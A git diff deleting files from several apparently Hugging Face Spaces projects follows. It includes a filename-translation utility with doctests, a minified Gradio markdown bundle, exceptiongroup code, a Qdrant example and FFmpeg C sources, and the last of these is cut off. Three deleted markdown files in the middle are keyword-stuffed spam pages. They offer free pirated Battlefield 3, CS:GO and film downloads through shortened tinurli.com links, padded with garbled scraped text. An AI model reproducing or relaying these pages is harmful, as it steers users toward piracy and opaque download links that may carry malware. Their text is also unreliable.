-    "com1",
-    "com2",
-    "com3",
-    "com4",
-    "com5",
-    "com6",
-    "com7",
-    "com8",
-    "com9",
-    "con",
-    "lpt1",
-    "lpt2",
-    "lpt3",
-    "lpt4",
-    "lpt5",
-    "lpt6",
-    "lpt7",
-    "lpt8",
-    "lpt9",
-    "nul",
-    "prn",
-}
-maxFileNameLength = 255
-
-
-class NameTranslationError(Exception):
-    pass
-
-
-def userNameToFileName(userName: str, existing=(), prefix="", suffix=""):
-    """
-    `existing` should be a set-like object.
-
-    >>> userNameToFileName("a") == "a"
-    True
-    >>> userNameToFileName("A") == "A_"
-    True
-    >>> userNameToFileName("AE") == "A_E_"
-    True
-    >>> userNameToFileName("Ae") == "A_e"
-    True
-    >>> userNameToFileName("ae") == "ae"
-    True
-    >>> userNameToFileName("aE") == "aE_"
-    True
-    >>> userNameToFileName("a.alt") == "a.alt"
-    True
-    >>> userNameToFileName("A.alt") == "A_.alt"
-    True
-    >>> userNameToFileName("A.Alt") == "A_.A_lt"
-    True
-    >>> userNameToFileName("A.aLt") == "A_.aL_t"
-    True
-    >>> userNameToFileName(u"A.alT") == "A_.alT_"
-    True
-    >>> userNameToFileName("T_H") == "T__H_"
-    True
-    >>> userNameToFileName("T_h") == "T__h"
-    True
-    >>> userNameToFileName("t_h") == "t_h"
-    True
-    >>> userNameToFileName("F_F_I") == "F__F__I_"
-    True
-    >>> userNameToFileName("f_f_i") == "f_f_i"
-    True
-    >>> userNameToFileName("Aacute_V.swash") == "A_acute_V_.swash"
-    True
-    >>> userNameToFileName(".notdef") == "_notdef"
-    True
-    >>> userNameToFileName("con") == "_con"
-    True
-    >>> userNameToFileName("CON") == "C_O_N_"
-    True
-    >>> userNameToFileName("con.alt") == "_con.alt"
-    True
-    >>> userNameToFileName("alt.con") == "alt._con"
-    True
-    """
-    # the incoming name must be a string
-    if not isinstance(userName, str):
-        raise ValueError("The value for userName must be a string.")
-    # establish the prefix and suffix lengths
-    prefixLength = len(prefix)
-    suffixLength = len(suffix)
-    # replace an initial period with an _
-    # if no prefix is to be added
-    if not prefix and userName[0] == ".":
-        userName = "_" + userName[1:]
-    # filter the user name
-    filteredUserName = []
-    for character in userName:
-        # replace illegal characters with _
-        if character in illegalCharacters:
-            character = "_"
-        # add _ to all non-lower characters
-        elif character != character.lower():
-            character += "_"
-        filteredUserName.append(character)
-    userName = "".join(filteredUserName)
-    # clip to 255
-    sliceLength = maxFileNameLength - prefixLength - suffixLength
-    userName = userName[:sliceLength]
-    # test for illegal files names
-    parts = []
-    for part in userName.split("."):
-        if part.lower() in reservedFileNames:
-            part = "_" + part
-        parts.append(part)
-    userName = ".".join(parts)
-    # test for clash
-    fullName = prefix + userName + suffix
-    if fullName.lower() in existing:
-        fullName = handleClash1(userName, existing, prefix, suffix)
-    # finished
-    return fullName
-
-
-def handleClash1(userName, existing=[], prefix="", suffix=""):
-    """
-    existing should be a case-insensitive list
-    of all existing file names.
-
-    >>> prefix = ("0" * 5) + "."
-    >>> suffix = "." + ("0" * 10)
-    >>> existing = ["a" * 5]
-
-    >>> e = list(existing)
-    >>> handleClash1(userName="A" * 5, existing=e,
-    ...		prefix=prefix, suffix=suffix) == (
-    ... 	'00000.AAAAA000000000000001.0000000000')
-    True
-
-    >>> e = list(existing)
-    >>> e.append(prefix + "aaaaa" + "1".zfill(15) + suffix)
-    >>> handleClash1(userName="A" * 5, existing=e,
-    ...		prefix=prefix, suffix=suffix) == (
-    ... 	'00000.AAAAA000000000000002.0000000000')
-    True
-
-    >>> e = list(existing)
-    >>> e.append(prefix + "AAAAA" + "2".zfill(15) + suffix)
-    >>> handleClash1(userName="A" * 5, existing=e,
-    ...		prefix=prefix, suffix=suffix) == (
-    ... 	'00000.AAAAA000000000000001.0000000000')
-    True
-    """
-    # if the prefix length + user name length + suffix length + 15 is at
-    # or past the maximum length, silce 15 characters off of the user name
-    prefixLength = len(prefix)
-    suffixLength = len(suffix)
-    if prefixLength + len(userName) + suffixLength + 15 > maxFileNameLength:
-        l = prefixLength + len(userName) + suffixLength + 15
-        sliceLength = maxFileNameLength - l
-        userName = userName[:sliceLength]
-    finalName = None
-    # try to add numbers to create a unique name
-    counter = 1
-    while finalName is None:
-        name = userName + str(counter).zfill(15)
-        fullName = prefix + name + suffix
-        if fullName.lower() not in existing:
-            finalName = fullName
-            break
-        else:
-            counter += 1
-        if counter >= 999999999999999:
-            break
-    # if there is a clash, go to the next fallback
-    if finalName is None:
-        finalName = handleClash2(existing, prefix, suffix)
-    # finished
-    return finalName
-
-
-def handleClash2(existing=[], prefix="", suffix=""):
-    """
-    existing should be a case-insensitive list
-    of all existing file names.
-
-    >>> prefix = ("0" * 5) + "."
-    >>> suffix = "." + ("0" * 10)
-    >>> existing = [prefix + str(i) + suffix for i in range(100)]
-
-    >>> e = list(existing)
-    >>> handleClash2(existing=e, prefix=prefix, suffix=suffix) == (
-    ... 	'00000.100.0000000000')
-    True
-
-    >>> e = list(existing)
-    >>> e.remove(prefix + "1" + suffix)
-    >>> handleClash2(existing=e, prefix=prefix, suffix=suffix) == (
-    ... 	'00000.1.0000000000')
-    True
-
-    >>> e = list(existing)
-    >>> e.remove(prefix + "2" + suffix)
-    >>> handleClash2(existing=e, prefix=prefix, suffix=suffix) == (
-    ... 	'00000.2.0000000000')
-    True
-    """
-    # calculate the longest possible string
-    maxLength = maxFileNameLength - len(prefix) - len(suffix)
-    maxValue = int("9" * maxLength)
-    # try to find a number
-    finalName = None
-    counter = 1
-    while finalName is None:
-        fullName = prefix + str(counter) + suffix
-        if fullName.lower() not in existing:
-            finalName = fullName
-            break
-        else:
-            counter += 1
-        if counter >= maxValue:
-            break
-    # raise an error if nothing has been found
-    if finalName is None:
-        raise NameTranslationError("No unique name could be found.")
-    # finished
-    return finalName
-
-
-if __name__ == "__main__":
-    import doctest
-
-    doctest.testmod()
diff --git a/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/gradio/templates/cdn/assets/index-b49e6bd6.js b/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/gradio/templates/cdn/assets/index-b49e6bd6.js
deleted file mode 100644
index 378f8255f6c9876fdf88e39bbda742bb0bcdd0b6..0000000000000000000000000000000000000000
--- a/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/gradio/templates/cdn/assets/index-b49e6bd6.js
+++ /dev/null
@@ -1,7 +0,0 @@
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h=o[4],u=o[0].length;h.length>4&&(h=h.slice(0,h.length-4),u-=4);let p=o[2];o[3]&&(p+=o[3].replace(/[xX]/," ")),s.push(new D(i.parent,l,l+u,o[1],h,p,i))}}return s}function je(t,e){return/^(\s*)(\d+)(?=[.)])/.exec(e.sliceString(t.from,t.from+10))}function U(t,e,r,s=0){for(let n=-1,i=t;;){if(i.name=="ListItem"){let a=je(i,e),l=+a[2];if(n>=0){if(l!=n+1)return;r.push({from:i.from+a[1].length,to:i.from+a[0].length,insert:String(n+2+s)})}n=l}let o=i.nextSibling;if(!o)break;i=o}}const yt=({state:t,dispatch:e})=>{let r=J(t),{doc:s}=t,n=null,i=t.changeByRange(o=>{if(!o.empty||!Xe.isActiveAt(t,o.from))return n={range:o};let a=o.from,l=s.lineAt(a),h=Fe(r.resolveInner(a,-1),s);for(;h.length&&h[h.length-1].from>a-l.from;)h.pop();if(!h.length)return n={range:o};let u=h[h.length-1];if(u.to-u.spaceAfter.length>a-l.from)return n={range:o};let p=a>=u.to-u.spaceAfter.length&&!/\S/.test(l.text.slice(u.to));if(u.item&&p)if(u.node.firstChild.to>=a||l.from>0&&!/[^\s>]/.test(s.lineAt(l.from-1).text)){let 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S=t.lineBreak+S,d.push({from:g,to:a,insert:S}),{range:v.cursor(g+S.length),changes:d}});return n?!1:(e(t.update(i,{scrollIntoView:!0,userEvent:"input"})),!0)};function de(t){return t.name=="QuoteMark"||t.name=="ListMark"}function Ot(t,e){let r=t.resolveInner(e,-1),s=e;de(r)&&(s=r.from,r=r.parent);for(let n;n=r.childBefore(s);)if(de(n))s=n.from;else if(n.name=="OrderedList"||n.name=="BulletList")r=n.lastChild,s=r.to;else break;return r}const Rt=({state:t,dispatch:e})=>{let r=J(t),s=null,n=t.changeByRange(i=>{let o=i.from,{doc:a}=t;if(i.empty&&Xe.isActiveAt(t,i.from)){let l=a.lineAt(o),h=Fe(Ot(r,o),a);if(h.length){let u=h[h.length-1],p=u.to-u.spaceAfter.length+(u.spaceAfter?1:0);if(o-l.from>p&&!/\S/.test(l.text.slice(p,o-l.from)))return{range:v.cursor(l.from+p),changes:{from:l.from+p,to:o}};if(o-l.from==p){let d=l.from+u.from;if(u.item&&u.node.from<u.item.from&&/\S/.test(l.text.slice(u.from,u.to)))return{range:i,changes:{from:d,to:l.from+u.to,insert:u.blank(u.to-u.from)}};if(d<o)return{range:v.cursor(d),changes:{from:d,to:o}}}}}return s={range:i}});return s?!1:(e(t.update(n,{scrollIntoView:!0,userEvent:"delete"})),!0)},zt=[{key:"Enter",run:yt},{key:"Backspace",run:Rt}],pe=rt({matchClosingTags:!1});function Vt(t={}){let{codeLanguages:e,defaultCodeLanguage:r,addKeymap:s=!0,base:{parser:n}=Pt}=t;if(!(n instanceof j))throw new RangeError("Base parser provided to `markdown` should be a Markdown parser");let i=t.extensions?[t.extensions]:[],o=[pe.support],a;r instanceof se?(o.push(r.support),a=r.language):r&&(a=r);let l=e||a?Nt(e,a):void 0;return i.push(Lt({codeParser:l,htmlParser:pe.language.parser})),s&&o.push(Ze.high(Ge.of(zt))),new se(te(n.configure(i)),o)}export{Pt as commonmarkLanguage,Rt as deleteMarkupBackward,yt as insertNewlineContinueMarkup,Vt as markdown,zt as markdownKeymap,Xe as markdownLanguage};
-//# sourceMappingURL=index-b49e6bd6.js.map
diff --git a/spaces/cihyFjudo/fairness-paper-search/Battlefield 3 Setup.exe What You Should Do Before and After Launching the Game.md b/spaces/cihyFjudo/fairness-paper-search/Battlefield 3 Setup.exe What You Should Do Before and After Launching the Game.md
deleted file mode 100644
index b974fb38dbc7e9515162ed7e52469f08b65b2a9d..0000000000000000000000000000000000000000
--- a/spaces/cihyFjudo/fairness-paper-search/Battlefield 3 Setup.exe What You Should Do Before and After Launching the Game.md	
+++ /dev/null
@@ -1,13 +0,0 @@
-
-<p>Extract the downloaded archive and run pbsetup.exe. Once the launching prompts are done, add your game if it isn't there yet, and press update punkbuster. After it's done updating, you should be good to go.</p>
-<p>Battlefield 3 is shooting game today you can download this from our website free full version 100 percent working no surveys get it free of cost. You can also download battlefield 2 game that is also amazing creation of all time our blog is the best named as download pc games 88 take it now.</p>
-<h2>Battlefield 3 Setup.exe</h2><br /><p><b><b>DOWNLOAD</b> &#9999; &#9999; &#9999; <a href="https://tinurli.com/2uwj8A">https://tinurli.com/2uwj8A</a></b></p><br /><br />
-<p>I've been wanting to play some battlefield 3 recently for nostalgic reasons but for me it seems like it doesn't want to run on my computer. I've asked a few of my mates which also have BF3 at they get the same problem as me, which is as soon as you load in or sometimes touch the keyboard in your load out menu it just kicks you straight back out and closes but battlelog doesn't detect anything or through up a error code to check I've look on the battlelog forums but that forum is know for some of the least helpful stuff in the world and nothing has come up, I have reinstalled punkbuster and done the service test on it to make sure its not punkbuster but i still get the same problem. Is anyone else getting the same problem as me and if you did how have you fixed the issue?</p>
-<p>Check what drivers or programs have trouble with battlefield, i remember having a similar problem where punkbuster (dont remember the name correctly) couldnt connect correctly and closed the game without sending any error, since that was an expected result</p>
-<p>something you cand check, is if punkbuster is still open on the task manager even after battlefield crashes, if its open i would close all of them, and reset origin and battlefield, if it doesnt work then im afraid im out of ideas.</p>
-<p>Hello,<br><br>I tested the steps below on a new copy of Window 10 that did not have a Battlefield 1942 installation on it already.<br>I did not receive an Invalid CD Key message when connecting to any of the servers with the BF1942 Master Server Patch applied to the game.<br><br>Please verify that you have followed the steps below to instal BF1942 and the Expansions.<br><br>If you still receive the Invalid CD Key error, I would be willing to do a screenshare with you over Discord if you would like to.<br><br>Below is the Discord invite link:<br> <br><br>My name on the server is lookoutriddick and I can be found online most of the day.<br>Feel free to message me and I will try to help you further.<br><br><br>1) Battlefield 1942 Main Game:<br>BF1942 ZIP: -simple....efield_1942.zip<br>How to Install: Unzip the ZIP file, then run bf1942-setup.exe to install.<br> <br><br>2) BF1942 Road to Rome / Secret Weapons Expansion Packs<br><br>Road to Rome ZIP: -simple.o...oad_to_Rome.zip<br><br>Secret Weapons ZIP: -simple.o...ons_of_WWII.zip<br><br>How to Install: Unzip each .ZIP file and run setup.exe from the unzipped folders, one for RTR and another for SW.<br><br><br>3) BF1942 Master Server Patch<br> -patch<br><br>How to Install: Unzip the .ZIP file and then locate the BF1942.exe inside the "Henk's Client v2.1" folder. The BF1942.exe file should then be copy and pasted to the root of the Battlefield 1942 install directory.</p>
-<p>salut g acheter battlefield a carrefour jai inserer le cd 1 et g installer origin le probléme c ke qd je veux installer le jeu ma page de origin est ouverte et le cd charge sa mouvre une fenétre avc limage du jeu et le logo de origine avc installer et qd je veux entrer le code produit ou installer le jeu une fenétre souvre en me disant ke c interrompue psk soit ya tp dutilisateur soit une maintenance ey ke je doit essayer plus tard le probléme c ke g attendu mais sa me lefait tt le temps commen doit je faire pr installer le jeu</p>
-<p>I'm not sure of what to do. I changed location as in the step after but to :D isntead of :C since I have the game on a disc. Then typed setup.exe but I recieved: "this program cannot be run in DOS mode". Am I doing something wrong ? Is there another way to install this game?</p>
-<p></p> aaccfb2cb3<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/cihyFjudo/fairness-paper-search/CS go full game torrent no steam The easiest way to install and run Counter-Strike Global Offensive.md b/spaces/cihyFjudo/fairness-paper-search/CS go full game torrent no steam The easiest way to install and run Counter-Strike Global Offensive.md
deleted file mode 100644
index 7c5b6d28e0441f3737fe4886bb148d30e037c56e..0000000000000000000000000000000000000000
--- a/spaces/cihyFjudo/fairness-paper-search/CS go full game torrent no steam The easiest way to install and run Counter-Strike Global Offensive.md	
+++ /dev/null
@@ -1,19 +0,0 @@
-<br />
-<p>People love free steam games, no doubt. But what many people hate is downloading so many parts and trying to install them on their own. This is why we are the only site that pre-installs every game for you. We have many categories like shooters, action, racing, simulators and even VR games! We strive to satisfy our users and ask for nothing in return. We revolutionized the downloading scene and will continue being your #1 site for free games.</p>
-<h2>CS go full game torrent no steam</h2><br /><p><b><b>DOWNLOAD</b> &#10040; <a href="https://tinurli.com/2uwiVg">https://tinurli.com/2uwiVg</a></b></p><br /><br />
-<p>Some sites including Kickass.to do host illegal torrents of games, which would motivate Valve with a solid reason to block the contents. Valve might not want to be held liable for whatever legal drama comes of that. Some of those sites can also link through to popups and malware infected adverts, so no doubt Valve wants to keep people away from those too.</p>
-<p>Another great advantage will be the absence of every bug, if you deside to download free <strong>cs 1.6</strong> original. For example, we tested assembly at eight, with which many users have previously connected to a serious problem. When contacting us, you can be sure that no missions from the game and fully concentrate directly on the game.</p>
-<p>And let's not forget about the protection that prevents third-party intervention game servers in the form of advertising, binds and other things. <strong>Cs 1.6 download</strong> via torrent for free, install it and select the liking for a server.</p>
-<p></p>
-<p>Another great advantage will be the absence of every bug, if you decide to download free <strong>cs 1.6</strong> original. For example, we tested assembly at eight, with which many users have previously connected to a serious problem. When contacting us, you can be sure that no missions from the game and fully concentrate directly on the game <strong>cs 1.6</strong> .</p>
-<p>Let's not forget about the protection that prevents third-party intervention game servers in the form of advertising, binds and other things. <strong>Cs 1.6 download</strong> via torrent for free, install it and select the liking for a server.</p>
-<p>Click on the below button to start Counter Strike Global Offensive Free Download. It is full and complete game. Just download and start playing it. We have provided direct link full setup of the game.</p>
-<p>I am a fan of computer games. I work on reviewing the best games to get in full version which are shared on Steam or Origin. Especially, I like action games and RPG, less adventure games and strategies.</p>
-<p>HudSight draws a crosshair overlay right over a game frame and it doesn't matter what video mode is used in a game. That is why you can switch your game to fullscreen and get minimal input lag. Finally!</p>
-<p>counter strike 1.6 condition zero created an overhaul of Counter-Strike with high-quality models and download counter strike condition zero graphics. They also added alpha blending, allowing for realistic foliage and weather effects, a single-player mode to the game, similar to the final game, based on inspiration from console games such as counter strike condition zero full, and they included explosive weapons such as a Molotov cocktails, tear gas bomb, cs cz download machine-gun and M72 LAW rocket. They also used the release of condition zero download to their advantage to help prevent cheating by ensuring constant code updates.</p>
-<p>After a few counter strike condition zero free download utorrent delays, it missed its late 2002 download game condition zero, who completely remade the game into a single-player one with 20 unconnected missions. It was expected to be released in early 2005 with a secondary multiplayer cs 1.6 condition zero, and released alongside the version of Counter-Strike.</p>
-<p>Unlike other Counter-Strike games, counter strike condition zero also contains a single-player mission pack with the player unlocking maps and more efficient bots as they pass certain requirements for each map while playing as a Counter-Terrorist. These requirements include objectives such as counter strike condition zero full version. This game mode is called condition zero 1.2 download.</p>
-<p>A large portion of counter strike zero download maps are re-made Counter-Strike maps featuring newer textures, effects, and better graphics. Others were taken from Deleted Scenes missions and edited by counter strike condition zero full version. Several new maps by condition zero game were also incorporated into the download counter strike condition zero full version port of Counter-Strike. Some new maps were also developed by former Counter-Strike developers that were integrated with help from counter strike 1.2 zero download.</p>
-<p>The perfect mix between rifle and SMG, the UMP is a great jack of all trades. The UMP is the gun to buy when you can't afford a full rifle, but you need to fight against them. While other SMGs like the MP9 fall off at longer ranges, the UMP gives the user a fighting chance while still possessing SMG killing power in close range. The UMP is also very user-friendly. It has a manageable recoil pattern that is not punishing to mess up. The UMP has been featured in many of the best FPS games of all time and it has been a great weapon in nearly all of them. CS:GO is no different.</p> aaccfb2cb3<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/cihyFjudo/fairness-paper-search/Rakshak Full Movie Hd 1080p Sunil Shetty and Karisma Kapoors Chemistry on Screen.md b/spaces/cihyFjudo/fairness-paper-search/Rakshak Full Movie Hd 1080p Sunil Shetty and Karisma Kapoors Chemistry on Screen.md
deleted file mode 100644
index 65d47cbac8bee4ad14c86028c939e80641844d37..0000000000000000000000000000000000000000
--- a/spaces/cihyFjudo/fairness-paper-search/Rakshak Full Movie Hd 1080p Sunil Shetty and Karisma Kapoors Chemistry on Screen.md	
+++ /dev/null
@@ -1,6 +0,0 @@
-<h2>Rakshak Full Movie Hd 1080p</h2><br /><p><b><b>Download File</b> &#128504; <a href="https://tinurli.com/2uwjdA">https://tinurli.com/2uwjdA</a></b></p><br /><br />
-<br />
- aaccfb2cb3<br />
-<br />
-<br />
-<p></p>
diff --git a/spaces/cloudtheboi/Lofi4All/.pythonlibs/lib/python3.10/site-packages/exceptiongroup/_catch.py b/spaces/cloudtheboi/Lofi4All/.pythonlibs/lib/python3.10/site-packages/exceptiongroup/_catch.py
deleted file mode 100644
index 0be39b4a706e9a014471be7674db47cd8c756916..0000000000000000000000000000000000000000
--- a/spaces/cloudtheboi/Lofi4All/.pythonlibs/lib/python3.10/site-packages/exceptiongroup/_catch.py
+++ /dev/null
@@ -1,117 +0,0 @@
-from __future__ import annotations
-
-import sys
-from collections.abc import Callable, Iterable, Mapping
-from contextlib import AbstractContextManager
-from types import TracebackType
-from typing import TYPE_CHECKING, Any
-
-if sys.version_info < (3, 11):
-    from ._exceptions import BaseExceptionGroup
-
-if TYPE_CHECKING:
-    _Handler = Callable[[BaseException], Any]
-
-
-class _Catcher:
-    def __init__(self, handler_map: Mapping[tuple[type[BaseException], ...], _Handler]):
-        self._handler_map = handler_map
-
-    def __enter__(self) -> None:
-        pass
-
-    def __exit__(
-        self,
-        etype: type[BaseException] | None,
-        exc: BaseException | None,
-        tb: TracebackType | None,
-    ) -> bool:
-        if exc is not None:
-            unhandled = self.handle_exception(exc)
-            if unhandled is exc:
-                return False
-            elif unhandled is None:
-                return True
-            else:
-                raise unhandled from None
-
-        return False
-
-    def handle_exception(self, exc: BaseException) -> BaseException | None:
-        excgroup: BaseExceptionGroup | None
-        if isinstance(exc, BaseExceptionGroup):
-            excgroup = exc
-        else:
-            excgroup = BaseExceptionGroup("", [exc])
-
-        new_exceptions: list[BaseException] = []
-        for exc_types, handler in self._handler_map.items():
-            matched, excgroup = excgroup.split(exc_types)
-            if matched:
-                try:
-                    handler(matched)
-                except BaseException as new_exc:
-                    new_exceptions.append(new_exc)
-
-            if not excgroup:
-                break
-
-        if new_exceptions:
-            if len(new_exceptions) == 1:
-                return new_exceptions[0]
-
-            if excgroup:
-                new_exceptions.append(excgroup)
-
-            return BaseExceptionGroup("", new_exceptions)
-        elif (
-            excgroup and len(excgroup.exceptions) == 1 and excgroup.exceptions[0] is exc
-        ):
-            return exc
-        else:
-            return excgroup
-
-
-def catch(
-    __handlers: Mapping[type[BaseException] | Iterable[type[BaseException]], _Handler]
-) -> AbstractContextManager[None]:
-    if not isinstance(__handlers, Mapping):
-        raise TypeError("the argument must be a mapping")
-
-    handler_map: dict[
-        tuple[type[BaseException], ...], Callable[[BaseExceptionGroup]]
-    ] = {}
-    for type_or_iterable, handler in __handlers.items():
-        iterable: tuple[type[BaseException]]
-        if isinstance(type_or_iterable, type) and issubclass(
-            type_or_iterable, BaseException
-        ):
-            iterable = (type_or_iterable,)
-        elif isinstance(type_or_iterable, Iterable):
-            iterable = tuple(type_or_iterable)
-        else:
-            raise TypeError(
-                "each key must be either an exception classes or an iterable thereof"
-            )
-
-        if not callable(handler):
-            raise TypeError("handlers must be callable")
-
-        for exc_type in iterable:
-            if not isinstance(exc_type, type) or not issubclass(
-                exc_type, BaseException
-            ):
-                raise TypeError(
-                    "each key must be either an exception classes or an iterable "
-                    "thereof"
-                )
-
-            if issubclass(exc_type, BaseExceptionGroup):
-                raise TypeError(
-                    "catching ExceptionGroup with catch() is not allowed. "
-                    "Use except instead."
-                )
-
-        handler_map[iterable] = handler
-
-    return _Catcher(handler_map)
diff --git a/spaces/codedog-ai/edu-assistant/examples/qdrant_vs.py b/spaces/codedog-ai/edu-assistant/examples/qdrant_vs.py
deleted file mode 100644
index bb6d2562953d58cef77d8335fd48c793a2db86f2..0000000000000000000000000000000000000000
--- a/spaces/codedog-ai/edu-assistant/examples/qdrant_vs.py
+++ /dev/null
@@ -1,61 +0,0 @@
-import json
-import logging
-
-from fastapi.encoders import jsonable_encoder
-from langchain.chains import RetrievalQA
-from langchain.document_loaders import DirectoryLoader, TextLoader
-from langchain.text_splitter import CharacterTextSplitter
-from qdrant_client.http.models import Distance, VectorParams
-
-from edu_assistant.utils.common_utils import init_local_logging
-from edu_assistant.utils.langchain_utils import load_llm, load_vectorstore
-from edu_assistant.utils.qdrant_utils import load_qdrant_client
-
-init_local_logging(logging.DEBUG)
-
-
-def create_collection(collection_name: str):
-    client = load_qdrant_client()
-    client.recreate_collection(
-        collection_name=collection_name,
-        vectors_config=VectorParams(size=1536, distance=Distance.DOT),
-    )
-    collection_info = client.get_collection(collection_name=collection_name)
-    print(collection_info)
-
-
-def delete_collection(collection_name: str):
-    client = load_qdrant_client()
-    client.delete_collection(collection_name=collection_name)
-
-
-def add_docs(path: str, collection_name: str):
-    vs = load_vectorstore(collection_name=collection_name)
-    loader = DirectoryLoader(path=path, glob="*.txt", loader_cls=TextLoader)
-    documents = loader.load()
-    text_splitter = CharacterTextSplitter(chunk_size=1000, chunk_overlap=50)
-    docs = text_splitter.split_documents(documents)
-
-    for doc in docs:
-        vs.add_documents([doc])
-
-
-def qa(collection_name: str, question: str):
-    chain = RetrievalQA.from_llm(
-        llm=load_llm(),
-        retriever=load_vectorstore(collection_name=collection_name).as_retriever(k=1),
-        return_source_documents=True,
-    )
-    result = chain(question)
-    print(json.dumps(jsonable_encoder(result), ensure_ascii=False, indent=4))
-
-
-if __name__ == "__main__":
-    name = "example"
-    path = "examples/docs"
-    question = "C++有哪些数据类型修饰符？"
-
-    # delete_collection(name)
-    # create_collection(name)
-    # add_docs(path, name)
-    qa(name, question)
diff --git a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/cavs_parser.c b/spaces/colakin/video-generater/public/ffmpeg/libavcodec/cavs_parser.c
deleted file mode 100644
index 03f392c2e5a7567052078bfdbb979cb5554dd264..0000000000000000000000000000000000000000
--- a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/cavs_parser.c
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Chinese AVS video (AVS1-P2, JiZhun profile) parser.
- * Copyright (c) 2006  Stefan Gehrer <stefan.gehrer@gmx.de>
- *
- * This file is part of FFmpeg.
- *
- * FFmpeg is free software; you can redistribute it and/or
- * modify it under the terms of the GNU Lesser General Public
- * License as published by the Free Software Foundation; either
- * version 2.1 of the License, or (at your option) any later version.
- *
- * FFmpeg is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * Lesser General Public License for more details.
- *
- * You should have received a copy of the GNU Lesser General Public
- * License along with FFmpeg; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/**
- * @file
- * Chinese AVS video (AVS1-P2, JiZhun profile) parser
- * @author Stefan Gehrer <stefan.gehrer@gmx.de>
- */
-
-#include "parser.h"
-#include "cavs.h"
-
-
-/**
- * Find the end of the current frame in the bitstream.
- * @return the position of the first byte of the next frame, or -1
- */
-static int cavs_find_frame_end(ParseContext *pc, const uint8_t *buf,
-                               int buf_size) {
-    int pic_found, i;
-    uint32_t state;
-
-    pic_found= pc->frame_start_found;
-    state= pc->state;
-
-    i=0;
-    if(!pic_found){
-        for(i=0; i<buf_size; i++){
-            state= (state<<8) | buf[i];
-            if(state == PIC_I_START_CODE || state == PIC_PB_START_CODE){
-                i++;
-                pic_found=1;
-                break;
-            }
-        }
-    }
-
-    if(pic_found){
-        /* EOF considered as end of frame */
-        if (buf_size == 0)
-            return 0;
-        for(; i<buf_size; i++){
-            state= (state<<8) | buf[i];
-            if((state&0xFFFFFF00) == 0x100){
-                if(state > SLICE_MAX_START_CODE){
-                    pc->frame_start_found=0;
-                    pc->state=-1;
-                    return i-3;
-                }
-            }
-        }
-    }
-    pc->frame_start_found= pic_found;
-    pc->state= state;
-    return END_NOT_FOUND;
-}
-
-static int cavsvideo_parse(AVCodecParserContext *s,
-                           AVCodecContext *avctx,
-                           const uint8_t **poutbuf, int *poutbuf_size,
-                           const uint8_t *buf, int buf_size)
-{
-    ParseContext *pc = s->priv_data;
-    int next;
-
-    if(s->flags & PARSER_FLAG_COMPLETE_FRAMES){
-        next= buf_size;
-    }else{
-        next= cavs_find_frame_end(pc, buf, buf_size);
-
-        if (ff_combine_frame(pc, next, &buf, &buf_size) < 0) {
-            *poutbuf = NULL;
-            *poutbuf_size = 0;
-            return buf_size;
-        }
-    }
-    *poutbuf = buf;
-    *poutbuf_size = buf_size;
-    return next;
-}
-
-const AVCodecParser ff_cavsvideo_parser = {
-    .codec_ids      = { AV_CODEC_ID_CAVS },
-    .priv_data_size = sizeof(ParseContext),
-    .parser_parse   = cavsvideo_parse,
-    .parser_close   = ff_parse_close,
-};
diff --git a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/mips/aaccoder_mips.c b/spaces/colakin/video-generater/public/ffmpeg/libavcodec/mips/aaccoder_mips.c
deleted file mode 100644
index bf27a2a5da1efe02992db7994f6b0a98f545118b..0000000000000000000000000000000000000000
--- a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/mips/aaccoder_mips.c
+++ /dev/null
@@ -1,2502 +0,0 @@
-/*
- * Copyright (c) 2012
- *      MIPS Technologies, Inc., California.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- * 3. Neither the name of the MIPS Technologies, Inc., nor the names of its
- *    contributors may be used to endorse or promote products derived from
- *    this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE MIPS TECHNOLOGIES, INC. ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE MIPS TECHNOLOGIES, INC. BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * Author:  Stanislav Ocovaj (socovaj@mips.com)
- *          Szabolcs Pal     (sabolc@mips.com)
- *
- * AAC coefficients encoder optimized for MIPS floating-point architecture
- *
- * This file is part of FFmpeg.
- *
- * FFmpeg is free software; you can redistribute it and/or
- * modify it under the terms of the GNU Lesser General Public
- * License as published by the Free Software Foundation; either
- * version 2.1 of the License, or (at your option) any later version.
- *
- * FFmpeg is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * Lesser General Public License for more details.
- *
- * You should have received a copy of the GNU Lesser General Public
- * License along with FFmpeg; if not, write to the Free Software
